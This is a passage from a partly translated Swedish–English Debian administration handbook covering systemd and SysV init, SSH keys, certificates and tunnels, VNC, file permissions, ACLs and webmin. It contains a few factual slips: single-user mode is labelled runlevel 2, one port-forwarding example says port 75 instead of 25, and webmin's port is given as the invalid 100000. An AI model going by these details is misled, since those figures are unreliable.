/etc/ssh/sshd_config # systemctl start ssh.service # systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Main PID: 1222 (sshd) CGroup: /system.slice/ssh.service └─1222 /usr/sbin/sshd -D #

Efter att ha kontrollerat tjänstens tillstånd (misslyckad) gick vi vidare med att kontrollera loggarna; de visar på ett fel i konfigurationsfilen. Efter att ha redigerat konfigurationsfilen och rättat felet startar vi om tjänsten, och verifierar sedan att den körs.

GÅ DJUPARE Andra typer av unit-filer

Vi har bara beskrivit de mest grundläggande av systemd's egenskaper i detta avsnitt. De erbjuder en mängd intressanta egenskaper och vi lista några av dem här:

socket activation: a “socket” unit file can be used to describe a network or Unix socket managed by systemd; this means that the socket will be created by systemd, and the actual service may be started on demand when an actual connection attempt comes. This roughly replicates the feature set of inetd. See systemd.socket(5).

timers: a “timer” unit file describes events that occur with a fixed frequency or on specific times; when a service is linked to such a timer, the corresponding task will be executed whenever the timer fires. This allows replicating part of the cron features. See systemd.timer(5).

network: a “network“ unit file describes a network interface, which allows configuring such interfaces as well as expressing that a service depends on one particular interface being up. See systemd.network(5).

9.1.2. System Vs init-system

The System V init system (which we'll call init for brevity) executes several processes, following instructions from the /etc/inittab file. The first program that is executed (which corresponds to the sysinit step) is /etc/init.d/rcS, a script that executes all of the programs in the /etc/rcS.d/ directory.

Bland dem hittar du program som för att:

konfigurera konsolens tangentbord;

läsa in drivrutiner: de flesta av kärnmoduler läses in av själva kärnan då hårdvara identifieras; extra drivrutiner läses sedan in automatisk när motsvarande moduler listas i /etc/modules;

kontrollera integretitetn i filsystem;

montera lokala partitioner;

konfigurera nätverket;

montera nätverksfilsystem (NFS).

GRUNDERNA Kärnmoduler och flaggor

You have already learned that kernel modules can be loaded during the start of the system by adding them to /etc/modules or a file below /etc/modules-load.d/. But modules can also have options that can be configured by putting some files in /etc/modprobe.d/. These options are defined with directives like this: options module-name option-name=option-value. Several options can be specified with a single directive if necessary.

These configuration files are intended for modprobe — the program that loads a kernel module with its dependencies (modules can indeed call other modules). To list all options of a module use the modinfo -p module command. Both programs are provided by the kmod package together with other tools to handle modules.

Having learned about systemd, services and targets can use the modprobe@module.service to load kernel modules they depend on.

I detta steg tar init över och startar programmen aktiverade i standardkörnivå (vanligen körnivå 2). Det exekverar /etc/init.d/rc 2, ett skript som startar alla tjänster som listas i /etc/rc2.d/ och vars namn börjar med bokstaven ”S”. Det tvåsiffriga tal som fööjer har historiskt använts för att definiera den ordning för vilka tjänsterna skulle startas i, men nuförtiden använder startsystemen s insserv, som schemalägger allting automatiskt baserat på skriptens beroenden, Varje startskript deklarer därför villkoren som ska uppflyllas för att starta eller stoppa en tjänst (exempelvis om den måste starta innan eller efter en annan tjänst); init startar sedan upp dem i den ordning som krävs för att uppfylla villkoren. Den statiska namngivningen är därför inte längre använd (men de måsta alltid ha ett namn som börjar på”S” följt av två siffror och namnet på skriptet använt av beroendena). Vanligen startas grundtjänster först (som loggning med rsyslog, eller porttilldelning med portmap), följt av standardtjänster och det grafiska gränsnittet (gdm3).

Detta beroende baserad startsystem gör det möjligt att automatisera ordning, vilket skulle vara ansträngande om det var tvunget att ske manuellt, och det begränsar riskerna för mänskliga fel, eftersom schemaläggningen sker efter de parametrar som anges. En annan fördel är att tjänster kan startas parallellt när de är oberoende av varandra, vilket kan snabba upp startprocessen.

init skiljer på flera körnivåer så att det kan växla från den ena till den andra med kommandot telinit new-level. init exekverar omedelbart /etc/init.d/rc med den nya körnivån. Skripet kommer sedan att starta de saknade tjänsterna och stoppa de som inte längre önskas. För att göra detta, hänvisar den till innehållet i /etc/rcX.d (där X representerar den nya körnivån). Skript som börjar på ”S” (som i ”Start”) är tjänster som ska startas; De som börjar på ”K” (som i ”Kill”) är tjänster som ska stoppas. Skriptet startar ingen tjänst som redan var aktiv i tidigare körnivå.

System V använder i Debian fyra olika körnivåer:

Nivå 0 används endast tillfälligt medan datorn stänger av. Som sådan innehåller den många ”K”-skript.

Nivå 2, också känd som enanvändarläge, motsvarar system i degraderat läge; det innehåller bara grundläggande tjänster, och är avsett för underhållsåtgärder där interaktioner med vanliga användare inte är önskvärt.

Nivå 2 är nivån normal användning, vilket omfattar nätverkstjänster, ett grafiskt gränssnitt, användarinloggning med mera.

Nivå 6 liknar nivå 0, förutom att den används under nedstängningsfasen före en omstart.

Andra nivåer finns, speciellt då 3 till 5. Deras standardkonfiguration är att verka på samma sätt som för nivå 2, men administratören kan ändra dem (genom att lägga till eller ta bort skript i motsvarande kataloger för /etc/rcX.d) för att anpassa dem till speciella behov.

Figur 9.2. Startsekvensen för en dator som kär Linux med System V init

All the scripts contained in the various /etc/rcX.d directories are really only symbolic links — created upon package installation by the update-rc.d program — pointing to the actual scripts which are stored in /etc/init.d/. The administrator can fine tune the services available in each runlevel by re-running update-rc.d with adjusted parameters. The update-rc.d(1) manual page describes the syntax in detail. Please note that removing all symbolic links (with the remove parameter) is not a good method to disable a service. Instead you should simply configure it to not start in the desired runlevel (while preserving the corresponding calls to stop it in the event that the service runs in the previous runlevel). Since update-rc.d has a somewhat convoluted interface, you may prefer using rcconf (from the rcconf package) which provides a more user-friendly interface.

DEBIAN RIKTLNJE Starta om tjänster

Underhållningsskripten för Debianpaket kommer ibland att starta om vissa tjänster för att försäkra sig om deras tillgänglighet eller få dem att omfatta vissa alternativ. Kommandot som kontrollerar en tjänst— service tjänst åtgärd — tar inte hänsyn till körnivå, antar felaktigt att tjänsten redan är stoppad och så vidare.). Debian introducerade därför programmet invoke-rc.d: programmet måste användas av underhållningsskript för att köra initieringsskript och kommer endast att exekvera nödvändiga kommandon. Observera att i motsats till vanlig användning används filnamnsuffix .d här endast i programnamn och ej för en katalog.

Slutligen startar init kontrollprogram för flera olika virtuella konsoler (getty). Det visar en prompt, väntar på ett användarnamn och exekverar sedan login användare för att starta en session.

ORDFÖRRÅD Konsol och terminal

De första datorerna var separerade i flera olika delar: lagring och processorenhet var avskilda från operatörernas andra kontrollenheter. De var delar i separat möbel, ”konsolen”. Term har stannat kvar, men dess betydelse har ändrats. Den har blivit mer eller mindre synonym med ”terminal”, som är både tangentbord och skärm.

I och med utvecklingen av datorer har operativsystem erbjudit flera virtuella konsoler för att tillåta samtidiga sessioner, oberoende av varandra, även om det endast finns ett tangentbord och en skärm. De flesta GNU/Linux-system har sex stycken virtuella konsoler (i textläge), tillgängliga genom att ange tangentkombinationerna Control+Alt+F1 till Control+Alt+F6.

By extension, the terms “console” and “terminal” can also refer to a terminal emulator in a graphical session (such as xterm, gnome-terminal or konsole).

9.2. Fjärrinloggning

Det är viktigt för administratörer att kunna ansluta till en fjärrdator. Avskärmade servrar har sällan permanenta tangentbord och skärmar - men de är anslutna till nätverket.

GRUNDERNA Klient, server

Ett system där flera processer kommunicerar med varandra beskrivs ofta med liknelsen ”klient/server”. Servern är programmet som tar flera begäran från en klient och verkställer dem. Det är klienten som kontrollera händelserna, servern tar inga egna initiativ.

9.2.1. Säker fjärrinloggning: SSH

Protokollet SSH (Secure SHell) togs fram med säkerhet och pålitlighet i åtanke. Anslutningar med SSH är säkra; användaren är autentiserad och all data utbyts krypeterat.

KULTUR Telnet och RSH är föråldrade

Innan SSH var huvudverktygen för fjärrinoggning Telnet och RSH. De är numer föråldrade och bör inte användas, även om Debian fortfaranden tillhandahåller dem.

ORDFÖRRÅD Autentistering, kryptering

When you need to give a client the ability to conduct or trigger actions on a server, security is important. You must ensure the identity of the client; this is authentication. This identity usually consists of a password or passphrase that must be kept secret, or any other client could it. This is the purpose of encryption, which is a form of encoding that allows two systems to communicate confidential information on a public channel while protecting it from being readable to others.

Autentisering och kryptering näms ofta ihop eftersom de vanligtvis används tillsammans, och eftersom de båda implementeras med liknande matematiska koncept.

SSH erbjuder två filöverföringstjänster. scp är ett kommandoradsverktyg som kan användas liknande kommandot cp förutom att sökvägar till en annan maskin inleds med maskinens namn, följt av kolon.

$ scp fil maskin:/tmp/

sftp är ett interaktivt kommando som liknar ftp. sftp kan överföra flera filer i en enda session, och det är möjligt att manipulera fjärrfiler med det (ta bort, byta namn, ändra behörigheter och så vidare).

Debian använder OpenSSH, en fri version av SSH underhållen av projektet OpenBSD (ett fritt operativsystem baserat på BSD-kärnan, fokuserat på säkerhet) och en gren av den ursprungliga SSH-programvaran utvecklad av företaget SSH Communications Security Corp, Finnland. Företaget utvecklade ursprungligen SSH som fri programvara, beslöt sig eventuellt att fortsätta utvecklingen under en sluten licens. OpenBSD-projektet skapade sedan OpenSSH för att bevara en fri version av SSH.

GRUNDERNA Grenar

I programvaruvärlden innebär en ”gren” att ett nytt projekt startar som en klon av det ursprunliga, och att det kommer att tävla med det. Därifrån kommer båda program att snabbt divergera vad gäller utveckling. En gren är ofta resultatet av meningsskiljaktigheter inom utvecklingsteamet.

Valet att grena ett projekt är ett direkt resultat av själva naturen i fri programvara; en gren är hälsosam när det låter projektet fortsätta att vara fri programvara (exempelvis om det sker licensändringar). En gren som tillkommer av tekniska eller personliga skäl är ofta ett slöseri med mänskliga resurser; en annan lösning vore önskvärd. Det händer att två projekt som tidigare delats i flera grenar åter sammanfogas.

OpenSSH is split into two packages: the client part is in the openssh-client package, and the server is in the openssh-server package. The ssh meta-package depends on both parts and facilitates installation of both (apt install ssh), while the task-ssh-server, often chosen during the initial installation, depends on the server package only.

9.2.1.1. Nyckelbasera autentisering

Varje gång någon loggar in över SSH, frågar fjärrservern efter ett lösenord för att autentisera användaren. Det kan vara problematiskt om du vill automatisera en anslutning eller om du använder ett verktyg som återkommande kräver anslutningar till SSH. Därför erbjuder SSH ett nyckelbaserad autentiseringssystem.

The user generates a key pair on the client machine with ssh-keygen -t rsa; the so generated public key is stored in ~/.ssh/id_rsa.pub, while the corresponding private key is stored in ~/.ssh/id_rsa. The user can then use ssh-copy-id server to add their public key to the ~/.ssh/authorized_keys file on the server, or, if SSH access hasn't been enabled yet, they have to ask the administrator to add their key manually.

If the private key was not protected with a “passphrase” at the time of its creation, all subsequent logins on the server will work without a password. Otherwise, the private key must be decrypted each time by entering the passphrase. Fortunately, ssh-agent allows us to keep private keys in memory to not have to regularly re-enter the password. For this, you simply use ssh-add (once per work session) provided that the session is already associated with a functional instance of ssh-agent. Debian activates it by default in graphical sessions, but this can be deactivated by changing /etc/X11/Xsession.options and commenting out use-ssh-agent. For a console session, you can manually start the agent with eval $(ssh-agent).

SÄKERHETSkydda den privata nyckeln

Alla som har den privata nyckeln kan logga in på det inloggade kontot. Det är därför åtkomst till den är skyddad av en ”lösenfras”. Någon som kommer åt en kopia av en privat nyckelfil (exempelvis ~/.ssh/id_rsa) måste fortfarande veta denna fras för att kunna använda den. Detta ytterligare skydd är inte ogenomträngbart, och om du tror att filen har komprometeras är det bäst att inaktivera nyckeln på datorer i vilken den har installerats (genom att ta bort den från authorized_keys) och ersätta dem med en ny genererad nyckel.

KULTUR OpenSSL-svaghet i Debian Etch

OpenSSL-biblioteket, ursprungligen tillhandahållet i Debian Etch, hade ett allvarligt problem med dess slumptalsgenerator (RNG). Debianansvarige hade gjort en ändring så att program som använder det inte längre genererade varningar vid analys utförda av minnestestverktyg som valgrind. Tyvärr innebar ändringen också att RNG endast använde en entropikälla, motsvarande processid (PID) vars 32 000 möjliga värden inte erbjuder nog med slumpmässighet.

→ https://www.debian.org/security/2008/dsa-1571

Mer specifikt så gäller att när OpenSSH användes för att generera en nyckel producerade den alltid en nyckel inom en känd mängd av hundratusentals nycklar (32 000 gånger ett litet antal nyckellängder). Det påverkade SSH-nycklar, SSL-nycklar och X.509-certifikat använda att otaliga program, som OpenVPN. En cracker behövda endast prova alla nycklar för att få obehörig tillgång. För att minska problemets omfattning ändras SSH-demonen till att vägra använda problematiska nycklar som listades i paketen openssh-blacklist och openssh-blacklist-extra. Utöver det så gör kommandot ssh-vulnkey det möjligt att identifiera möjligen komprometerande nycklar i systemet.

En noggrannare analys av denna incident visar det är resultatet av flera (mindre) problem, både med OpenSSL-projektet och med Debianpaketets ansvariga. En välanvänt bibliotek som OpenSSL borde -- utan ändringar -- inte generera varningar under testning valgrind. Vidare bör koden (speciellt känsliga delar som RNG) vara bättre kommenterad för att förhindra sådan fel. Vad gäller Debian ville ansvariga validera ändringarna med OpenSSL-utvecklarna, men förklarade ändringarna utan att skicka in en programfix för granskning, och nämnde inte sin roll inom Debian. Slutligen var lösningsvalet inte det bästa: ändringarna gjorde i originalkoden blev inte dokumenterade; alla ändringar lagrades i ett Subversion-förråd, men slutade ihopklumpade in en programfix då källpaketet skapades.

Det är under dessa förhållanden svårt att förhindra sådana incidenter från att uppstå. Sens moral är att varje avvikelse Debian tillför i program uppströms måste vara berättigad, dokumenterad, insänd till uppströmsprojektet om möjligt, och vida publicerad. Det är utifrån detta perspektiv som det nya paketformatet (”3.0 (quilt)”) och webtjänsterna för Debiankällor utvecklades.

→ https://sources.debian.org

9.2.1.2. Cert-Based Authentication

SSH keys cannot just be protected by a password (or not). An often unknown feature is that they can also be signed via certificate, both the host as well as the client keys. This approach comes with several advantages. Instead of maintaining an authorized_keys file per user as described in the previous section, the SSH server can be configured to trust all client keys signed by the same certificate (see also Avsnitt 10.2.2, ”Publik nyckelinfrastruktur easy-rsa”) by using the TrustedUserCAKeys and HostCertificate directives in /etc/ssh/sshd_config.

TrustedUserCAKeys /etc/ssh/ssh_users_ca.pub HostKey /etc/ssh/ssh_host_ecdsa_key HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub

Vice-versa the clients can also be configured to trust the host key signed by the same authority, making it easier to maintain the known_hosts file (even system wide via /etc/ssh/known_hosts).

@cert-authority *.falcot.com ssh-rsa AAAA[..]

Both, public key and certificate authentication, can be used alongside each other.

9.2.1.3. Använda X11-fjärrprogram

SSH-protokollet gör det möjligt att vidarebefordra grafiskt innehåll (”X11-session”, namngiven från det mest välanvända grafiksystemet i Unix); servern håller då reda på en dedikerad kanal för denna data. Det innebär att ett grafiskt program som fjärrexekveras kan visas på X.org-servern lokalt, och att hela sessionen (inmatning och visning) är säker. Eftersom denna egenskap låter fjärrprogram komma åt det lokala systemet är det inaktiverat som standard. Du kan aktivera det genom att ange X11Forwarding yes i serverns konfigurationsfil (/etc/ssh/sshd_config). Slutligen måste användare också begära den genom att lägga till flaggan -X kommandoraden för ssh.

GOING FURTHER Magic cookies in .Xauthority

When a user connects via SSH and starts a remote X11 session, a so-called magic cookie is created and stored in the .Xauthority file in the user's home directory that initiated the connection. This cookie is used by xauth to authenticate the user during the X session. If the user impersonates another user on the system, e.g. using su or sudo, then the cookie is not copied automatically to the target user and the X server will refuse to start graphical applications under the target user's context. You will have to copy the magic cookie into the target user's home directory (by exporting and re-importing the cookie via xauth) to allow another user to start graphical programs as well during the X session.

9.2.1.4. 'Skapa krypterade tunnlar med portvidarebefordring

Flaggorna -R och -L gör att ssh kan skapa ”krypterade tunnlar” mellan två maskiner och på ett säkert sätt vidarebefodra en lokal TCP-port (se sidopanelen TILLBAKA TILL GRUNDERNA TCP/UDP) till en en fjärrmaskine och vice versa.

ORDFÖRRÅD TUNNEL

Internet och de flesta LAN som är anslutna till det körs i paketläge och inte i anslutet läge, vilket betyder att ett paket skickat från en dator till en annan kommer att stoppas vid flera mellanliggande routrar för att finna vägen till destinationen. Du kan fortfarande simulera en ansluten operation där strömmen kapslas in i normal IP-paket. Dessa paket följer sina vanliga rutter, men strömmen rekonstrueras oförändrad vid destinationen. Vi kallar detta en ”tunnel”, analogt med en vägtunnel där fordon kör direkt in i ingången (indata) till utgången (utdata) utan att träffa på intersektioner, i motsats till en en sökväg på ytan som skulle involvera intersektioner och ändrade riktningar.

Du kan ta detta tillfälle i akt till att lägga till kryptering till tunneln: strömmen som flödar genom den kan inte tolkas utifrån; men återfås dekrypterat i slutet av tunneln.

ssh -L 8000:server:25 mellanhand etablerar en SSH-session med värden mellanhand och lyssnar på lokala porten 8000 ( se Figur 9.3, ”Vidarebefordra en lokal port med SSH”). För varje anslutning etablerad på denna på denna port, kommer ssh att starta en anslutning från datorn mellanhand till port 25 på server, och kommer att binda samman alla anslutningar tillsammans.

ssh -R 8000:server:25 mellanhand etablerar också en SSH-session till datorn mellanhand, men på denna maskin lyssnar ssh till port 8000 (se Figur 9.4, ”Vidarebefordra en fjärrport med SSH”). Varje anslutning etablerad på denna port kommer också att få ssh att öppna en anslutning från den lokal maskinen till port 75 på server, och att binda ihop anslutningarna.

I båda fallen sker anslutningarna över port 25 på värden server som passerar genom SSH-tunneln etablerade mellan den lokala maskinen och maskinen mellanhand. I det första fallet är ingången till tunneln lokal port 8000, och datan flyttar mot maskinen mellanhand innan den riktas mot server på det ”publika” nätvärket. i det andra fallet har indata och utdata för tunneln kastats om; ingången är port 8000 på maskinen mellanhand, utgång är på den lokala värden och datan vidarebefordras till server server. I praktiken är servern antingen den lokala maskinen eller mellanhanden. På det sättet säkrar SSH anslutningen från en sida till en annan.

Figur 9.3. Vidarebefordra en lokal port med SSH

Figur 9.4. Vidarebefordra en fjärrport med SSH

9.2.2. Använda grafiska fjärrskrivbord

VNC (Virtual Network Computing) tillåter fjärråtkomst till grafiska skrivbord.

Detta verktyg används mest för teknisk assistans; administratören kan se felen som användare möter, och visa dem den rätta åtgärden utan att vara fysiskt närvarande.

First, the user must authorize sharing their session. The GNOME graphical desktop environment includes that option via Settings → Sharing (contrary to previous versions of Debian, where the user had to install and run vino). For this to work network-manager must be managing the network used (e.g. enable the managed mode for devices handled by ifupdown in /etc/NetworkManager/NetworkManager.conf). KDE Plasma still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc or tightvncserver commands (from the Debian packages of the same name) or tigervncserver (tigervnc-standalone-server) serve the same purpose and provide the vnc-server virtual package; you can make either of them available to the user with an explicit menu or desktop entry.

When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while the KDE project provides krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xtightvncviewer from the homonym package or xtigervncviewer from the tigervnc-viewer Debian package. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.

SÄKERHET VNC över SSH

Om du vill ansluta genom VNC, och du inte vill att dina data skickar okrypterade över nätverket så är det möjligt att kapsla in datan i en SSH-tunnel (se Avsnitt 9.2.1.4, ”'Skapa krypterade tunnlar med portvidarebefordring”). Du behöver endast då veta att VNC använder port 5900 som standardport för den första skärmen (kallad ”localhost:0”), 5901 för den andra (kallad ”localhost:1”) också vidare.

Kommandot ssh -L localhost:5901:localhost:5900 -N -T maskin skapar en tunnel mellan lokala porten 5901 och port 5900 hos värdmaskin. Den första ”localħost” begränsar SSH till att endast lyssnar på det gränssnittet (på den lokala maskinen. Den andra ”localhost” är gränssnittet på fjärrmaskinen som ska ta emot nätverkstrafiken som kommer in från ”localhost:5901”. Sålunda kommer vncviewer localhost:1 att ansluta VNC-klienten till fjärrskärmen, även fast du bara indikerar namnet på den lokala maskinen.

När VNC-sessionen stängs, kom ihåg att stänga tunneln genom att också avsluta motsvarande SSH-session.

Grundläggande Displayhanterare

gdm3, kdm, lightdm, and xdm are Display Managers (they all provide the x-display-manager meta package). They take control of the graphical interface shortly after boot in order to provide the user a login screen. Once the user has logged in, they execute the programs needed to start a graphical work session.

9.3. Hantera behörigheter

Linux är definitivt ett fleranvändarsystem, så det är nödvändigt att tilhandahålla ett behörighetssystem för att kunna kontroller den mängd tillåtna åtgärder på filer och mappar, vilket omfattar att systemresurser och enheter (i ett Unix-system representeras en enhet av en fil eller mapp). Denna princip är vanlig för alla Unixsystem, men det är alltid nyttig med en påminnelse, speciellt då det finns några intressanta och relativt okända avancerade användarfall.

9.3.1. Owners and Permissions

Varje fil eller katalog har specifika rättigheter för de tre användarkategorierna:

dess ägare (symboliserad av u som “user”);

dess ägargrupp (symboliserad av g som i “group”), representerade alla medlemmar i gruppen;

övriga (symboliserad av o som i “other”).

Three basic types of rights can be combined:

läs (symboliserad av r som i “read”);

skrivning (eller ändring, symboliserat av w som i ”write”);

exekvera (symboliserad av x som i ”eXecute”).

Då det gäller filer är det lätt att förstå dessa rättigheter: läsåtkomst tilåter läsning av innehållet (inklusive kopiering), skrivrättighet tillåter att ändra den, och körrättighet tillåter dig att köra den (vilket endast fungerar om det är ett program).

SÄKERET setuid och setgid

Two particular rights are relevant to executable files: setuid and setgid (symbolized with the letter “s”). Note that we frequently speak of “bit”, since each of these Boolean values can be represented by a 0 or a 1. These two rights allow any user to execute the program with the rights of its owner or its group, respectively. This mechanism grants access to features requiring higher level permissions than those you would usually have.

Eftersom ett setuid-rootprogram systematiskt körs med superanvändarens identitet är det väldigt viktigt att försäkra sig om att det är säkert och pålitligt. En användare som skulle kunna få det att köra ett kommando av eget val skulle då kunna låtsas vara root-användare och få all rättigheter i systemet.

If you require running a program under a different user or if a program requires higher permissions, the sudo, su, or runuser commands are usually better choices than using these bits (see Avsnitt 8.9.4, ”Dela administratörsrättigheter”).

En katalog hanteras annorlunda. Läsrättigheter ger rätt visa listan av innehåll (filer och kataloger), skrivrättighet möjligör skapandet eller borttagandet av filer, och exekveringsrättighet ger möjlighet att passera genom den (speciellt för att gå där med kommando cd). Att kunna passera genom en katalog utan att kunna läsa den ger rättigheter till att komma åt poster däri som är kända till namn, men det går inte att finna dem om du inte vet om deras existens med deras exakta namn.

SÄKERHET setgid-katalog och sticky bit

setgid gäller också på kataloger. Varje nytt objekt i en sådan katalog kommer automatiskt tilldelas samma grupp som ägaren av den överordnade katalogen. Istället för att ärva skaparens huvudgrupp, som i vanliga fallet. Detta gör att användaren inte behöver ändra sin huvudgrupp (med kommandot newgrp) om hen arbetar med ett filträd delat mellan flera olika användare i samma tilldelade grupp.

”Sticky bit” (symboliserad av bokstaven ”t”) är en rättighet som endast är användbar i kataloger. Den är speciellt använd för tillfälliga kataloger där alla har skrivrättighet (som /tmp/): det begränsar borttagning av filer så att endast deras ägare (eller ägaren av överordnad katalog) kan göra det. Utan detta skulle alla kunna ta bort andra användares filer i /tmp/.

Tre kommandon kontrollerar rättigheterna associerad med en fil:

chown användare fil ändrar filens ägare;

chgrp grupp fil ändrar ägargrupp;

chmod rättigheter fil ändrar filens rättigheter.

Det finns två sätt att presentera rättigheter. Den symboliska representationen är nog den som är enklast att förstå och komma ihåg. Det innebär bokstavsymbolerna som tidigare nämnts. Du kan definiera rättigheter för varje kategori av användare (u/g/o), genom att ange dem explicit (med =), att lägga till med (+), eller dra ifrån med (-). Sålunda ger formeln u=rwx,g+rw,o-r ägaren läs-, skriv- och ekexveringsrättigheter, lägger till läs och skrivrättigheter för ägargruppen och tar bort läsrättigheter för andra användare. Rättigheter som inte ändras genom tillägg eller borttagning lämnas omodifierade. Bokstaven a, för “all” täcker alla tre katagorier av användare så att a=rx ger alla tre katogorerir samma rättigheter ( läsa och exekvera, men inte skriva).

Den oktala representationen associerar varje rättighet med ett värde: 4 för läsning, 2 för skrivning och 1 för körning. Vi associerar varje kombination av rättigheter med summan av siffrorna. Varje värde tilldelas sedan till olika kategorier av användare genom att lägga dem i ordning (ägare, grupp, övriga).

For instance, the chmod 754 file command will set the following rights: read, write and execute for the owner (since 7 = 4 + 2 + 1); read and execute for the group (since 5 = 4 + 1); read-only for others. The 0 (zero) means no rights; thus chmod 600 file allows for read/write rights for the owner, and no rights for anyone else. The most frequent right combinations are 755 for executable files and directories, and 644 for data files.

För att representera speciella rättigheter kan du som sätta ett fjärde tal som prefix, där bitarna för setuid, setgid och sticky är 4, 2 and 1. chmod 4754 kommer att associera biten för setuidmed tidigare beskrivna rättigheter.

Observera att användningen av oktala notation endast tillåter att ange alla rättigheter samtidigt på en fil; du kan inte använda den för att lägga till en ny rättighet, som läsrättighet för gruppägaren, eftersom du måste räkna med befintliga rättigheter och räkna ut nya motsvarande numeriska värden.

TIP rekursiv operation

Ibland måste vi ändra rättigheter för ett helt filträd. Alla kommandon ovan har flaggan R för att rekursivt kunna gå in i underkataloger.

The distinction between directories and files sometimes causes problems with recursive operations. That is why the “X” letter has been introduced in the symbolic representation of rights. It also represents the right to execute, but it applies differently to directories and files.

For directories it adds executable permissions to the chosen user(s). For files, it adds the executable bit only if at least one of the users (owner, group, or others) already has executable permissions. Let's demonstrate it, because this bit can be confusing:

$ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod o+x test.txt $ ls test.txt -rw-r--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rwxr--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

The example shows a typical file with its default permissions: its owner can read and write it, the owner's group and all other users can read it. The next operation (u+X) won't add executable permissions for the owner of the file, because permissions to execute have not been assigned. The operation has no effect on the file. Next we assign execute rights for "other" users and repeat the operation. This time it is successful, because at least one user group already had executable permissions.

It is a misconception that this bit will only affect directories. If files and directories have mixed permissions, it is often a good idea to use the find command to locate the targets you want to operate on.

TIP Changing the user and group together

Frequently you want to change the group of a file at the same time that you change the owner. The chown command has a special syntax for that: chown user:group file. This syntax can also be used to recursively (-R) change the ownership of a whole directory.

YTTERLIGARE umask

When an application creates a file, it assigns indicative permissions, knowing that the system automatically removes certain rights, given by the command umask. Enter umask in a shell; you will see a mask such as 0022. This is simply an octal representation of the rights to be systematically removed. In this case, the write right for the group and other users: With the above umask value, the default for directories 777 becomes 755 and the default permissions for files 666 become 644.

The system's default value is handled by pam_umask(8) and /etc/login.defs.

If you give it a new octal value, the umask command modifies the mask. Used in a shell initialization file (for example, ~/.bashrc or ~/.profile), it will effectively change the default mask for your work sessions.

9.3.2. ACLs - Access Control Lists

Many filesystems, e.g. Btrfs, Ext3, Ext4, JFS, XFS, etc., support the use of Access Control Lists (ACLs). These extend the basic features of file ownership and permission, described in the previous section, and allow for a more fine-grained control of each (file) object. For example: A user wants to share a file with another user and that user should only be able to read the file, but not write or change it.

For some of the filesystems, the usage of ACLs is enabled by default (e.g. Btrfs, Ext3, Ext4). For other filesystems or older systems it must be enabled using the acl mount option - either in the mount command directly or in /etc/fstab. In the same way the usage of ACLs can be disabled by using the noacl mount option. For Ext* filesystems one can also use the tune2fs -o [no]acl /dev/device command to enable/disable the usage of ACLs by default. The default values for each filesystem can usually be found in their homonym manual pages in section 5 (filesystem(5)) or in mount(8).

After enabling ACLs, permissions can be set using the setfacl(1) command, while getfacl(1) allows one to retrieve the ACLs for a given object or path. These commands are part of the acl package. With setfacl one can also configure newly created files or directories to inherit permissions from the parent directory. It is important to note that ACLs are processed in their order and that an earlier entry that fits the situation has precedence over later entries.

If a file has ACLs set, the output of the ls -l command will show a plus-sign after the traditional permissions. When using ACLs, the chmod command behaves slightly different, and umask might be ignored. The extensive documentation, e.g. acl(5) contains more information.

9.4. Adminstrationsgränssnitt

Det kan ibland vara intressant att använda ett grafiskt gränssnitt för administration. En administratör behöver nödvändigtvis inte känna till alla konfigurationsdetaljer för alla deras tjänster, och har kanske inte alltid tid att titta efter i dokumentationen. Ett grafiskt administrationsgränssnitt kan därför påskynda tillkomsten av en ny tjänst. Det kan också underlätta tjänstekonfigurationer som är svåra att konfigurera.

Ett sådant gränssnitt är endast en hjälp, och inte ett självändamål. En administratör måste hursomhelst mästra dess egenskaper för att förstå hur det går att jobbar runt potentiella problem.

Eftersom inga gränssnitt är perfekta kan du lockas av flera olika lösningar. Det bör undvikas om möjligt, eftersom olika verktyg ibland är inkompatibla i deras arbetsmetoder. Även om de alla strävar efter att vara flexibla och försöker anpassa konfigurationsfilen som en enskild referens, kan de inte alltid integrera externa ändringar.

9.4.1. Administrera över ett webbgränsnitt: webmin

Det här är, utan tvekan, ett av de mest lyckade admistrationsgränssnitten. Det är ett modulärt system skött genom en webbläsare, och täcker ett brett omfång av områden och verktyg. Vidare så är det internationaliserat och finns tillgängligt i många språk.

Figur 9.5. Webmin dashboard

Sadly, webmin is no longer part of Debian. Its Debian maintainer removed the packages created because they no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Debian does not provide the webmin package.

Det finns dock ett inofficiellt paket distribuerade på webbplatsen webmin.com. I motsats till det ursprungliga Debianpaketet är detta paket monolitiskt; alla dess konfigurationsmoduler installeras och aktiveras som standard, även om motsvarande tjänst inte är installerade på maskinen.

SÄKERHET Ändra lösenord för root

On the first login, identification is conducted with the root username and its usual password (or any user's login credentials which belongs to the sudo group). It is recommended to change the password used for webmin as soon as possible, so that if it is compromised, the server's user accounts will not be involved, even if this confers important administrative rights to the machine.

Beware! Since webmin has so many features, a malicious user accessing it could compromise the security of the entire system. In general, interfaces of this kind are not recommended for important systems with strong security constraints (firewall, sensitive servers, etc.), and they are not recommended to be exposed to the public either.

Webmin används genom ett webbgränssnitt, men det kräver inte att Apache installeras. I princip har programmet sin egen integrerade miniwebbserver. Denna server lyssnar på port 100000 och accepterar säkra HTTP.-anslutningar.

Inkluderade moduler täcker ett brett omfång av tjänster:

all base services: creation of users and groups, management of crontab files, service scripts/files, viewing of logs, etc.

bind: DNS-serverkonfiguration (namntjänst);

postfix: SMTP-serverkonfiguration (e-post);

network services: configuration of the xinetd super-server;

disk quota: user quota management;

dhcpd: DHCP-serverkonfiguration;

proftpd: FTP-serverkonfiguration;

samba: Samba fileserverkonfiguration;

software: installation eller borttagning av program från Debianpaket och systemuppdateringar.

